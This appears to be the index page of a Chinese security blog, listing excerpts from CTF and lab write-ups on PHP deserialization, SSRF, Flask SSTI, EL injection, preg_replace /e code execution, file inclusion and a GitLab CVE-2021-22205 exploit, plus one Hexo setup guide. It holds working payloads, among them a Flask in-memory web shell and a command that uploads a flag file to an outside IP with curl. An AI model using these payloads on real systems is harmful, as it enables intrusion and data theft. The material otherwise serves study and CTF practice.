Php反序列化字符串逃逸
PHP 反序列化字符串逃逸反序列化是什么?PHP序列化:serialize()
序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。
而PHP反序列化:unserialize()
反序列化是将字符串转换成变量或对象的过程
通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。这样说可能还不是很具体,举个列子比如你网购买一个架子,发货为节省成本,是拆开给你发过去,到你手上,然后给你说明书让你组装,拆开给你这个过程可以说是序列化,你组装的过程就是反序列化
谈到php反序列化,我们先来看一下PHP他的面向对象怎么个理解,
面向过程vs面向对象
面向过程面向过程是一种以“整体事件”为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,在一步一步的具体步骤中再按顺序调用函数。面向对象面向对象是一种以“对象”为中心的编程思想,把要解决的问题分解成各个“对象”;对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界 ...
Jwt&struts2
*ctf–web–jwt2struts记录一下
打开发现,猜测为jwt伪造
You are now logged in as user. Try to become admin.
CTRL+U
JWT_key.php
第一个知识点,想办法拿到Jwt伪造的key
123456789101112131415161718192021<?phphighlight_file(__FILE__);include "./secret_key.php";include "./salt.php";//$salt = XXXXXXXXXXXXXX // the salt include 14 characters//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df@$username = urldecode($_POST["username"]);@$password = urldecode($_POST["password"]); ...
SSRF-CTFshow
SSRF web351-web360写在前面:ssrf常见的一些函数
12345678curl_init():初始curl会话curl_setopt():会话设置curl_close():会话关闭file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。readfile():输出一个文件的内容。fsockopen():打开一个网络连接或者一个Unix 套接字连接。curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。fopen():打开一个文件文件或者 URL。
web351url=http://127.0.0.1/flag.php
web352url=http://127.1.0.1/flag.php
web353url=http://127.1.0.1/flag.php
parse_url()解析请求包的参数,返回数组,scheme是请求包的协议
127.1会被解析成127.0.0.1,也就意味着为零可缺省在L ...
HNCTF 2022 WEEK2 ez_SSTI
HNCTF 2022 WEEK2 ez_SSTI
WELCOME TO HNCTF今天来做一下WELCOME TO HNCTF
打开题目有一个链接,打开一看,跳转到别的地方去了,测试了一下,存在ssti注入漏洞
跑出来了所有的类
我们去找我们需要用到的os模块在第几个,用脚本去跑
附跑ssti模块的脚本:
12345678910111213import requestsheaders = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'}for i in range(500): url = "http://node2.anna.nssctf.cn:28081/?name={{().__class__.__bases__[0].__subclasses__()["+ ...
Ssti-Flask-Labs
ssti-flask-labsssti打内存马
1url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
第一关第一关轻松过,没waf,找了半天的os模块在哪,一直以为是132,结果在133.。。。。。
1{ ...
EL表达式漏洞学习
EL表达式漏洞学习简介
表达式语言(Expression Language),或称EL表达式,简称EL,是Java中的一种特殊的通用编程语言,借鉴于JavaScript和XPath。主要作用是在Java Web应用程序嵌入到网页(如JSP)中,用以访问页面的上下文以及不同作用域中的对象 ,取得对象属性的值,或执行简单的运算或判断操作。EL在得到某个数据时,会自动进行数据类型的转换。 ——wikipedia
其本来目的是让jsp写的更简单,简化其代码
EL表达式主要功能如下:
获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组);
执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如${user==null};
获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而 ...
PHP正则e模式代码执行
前言本文将深入研究 preg_replace /e 模式下的代码执行问题,其中包括 preg_replace 函数的执行过程分析、正则表达式分析、漏洞触发分析,当中的坑非常多,相信看完本文,你一定会有所收获。下面是 七月火 和 l1nk3r 的分析结果。
案例下面先看一个案例,思考如何利用此处的 preg_replace /e 模式,执行代码(可以先不看下文分析,自己思考出 payload 试试)。
这个案例实际上很简单,就是 preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行,然而这里的第二个参数却固定为 ‘strtolower(“\1”)’ 字符串,那这样要如何执行代码呢?
爬坑1上面的命令执行,相当于 eval(‘strtolower(“\1”);’) 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。 ...
Php_include
Web_php_include源码
123456789<?phpshow_source(__FILE__);echo $_GET['hello'];$page=$_GET['page'];while (strstr($page, "php://")) { $page=str_replace("php://", "", $page);}include($page);?>
看源码,绕过两个函数拿到动态flag,一个比较简单的文件包含
先看第一个函数strstr()
121、strstr() 函数搜索一个字符串在另一个字符串中的第一次出现。如果是,返回字符串及剩余部分,否则返回false。2、找到所搜索的字符串,则该函数返回第一次匹配的字符串的地址;
str_replace()函数
定义和用法: 以其它字符替换字符串中的一些字符(区分大小写) 语法:
1str_replace(find,replace,string,count)
find,必需,要 ...
Hexo+Github博客搭建教程(个人操作过程)
Hexo+Github博客搭建教程(个人操作过程)最近自己尝试利用hexo+github搭建了blog,来记录一下过程
##一、准备环境
1、node环境首先,安装 nodejs, 因为Hexo是基于 Node.js 驱动的一款博客框架。
http://nodejs.cn
2、git 环境然后,安装git, 一个分布式版本控制系统,用于项目的版本控制管理,作者是 Linux 之父。
⭐Git(官网)https://git-scm.com/
太慢的话可以自行找资源
安装过程一路next就行(安装路径可改)
两者安装完成之后,右击此电脑>属性>高级系统设置>环境变量>系统变量下的Path 可以看到两者已自动修改了环境变量,这是我们可以通过cmd命令(win+r后输入cmd)查看两者版本。(确认是否安装成功及可以使用) 查看Node.js版本命令:node -v 查看Git版本命令:git --version
3.之后进入GitHub创建一个仓库
确认注册后会让用户选择公有还是私有仓库(私有的个人仓库好像需要Money好像是每月7美金)个人博客的话直接选免费的就 ...
新型车联网安全网络协议破解(阶段一)
新型车联网安全网络协议破解(阶段一)下载vpn访问后是一个git
需要用Proxifier配置代理
配置代理服务
配置代理规则
之后利用脚本
1https://github.com/Al1ex/CVE-2021-22205
检测漏洞
1python3 CVE-2021-22205.py -v true -t http://172.18.0.4/
存在漏洞
执行命令
1python3 CVE-2021-22205.py -a true -t http://172.18.0.4/ -c "curl -T /home/mping/flag http://123.57.236.154:80"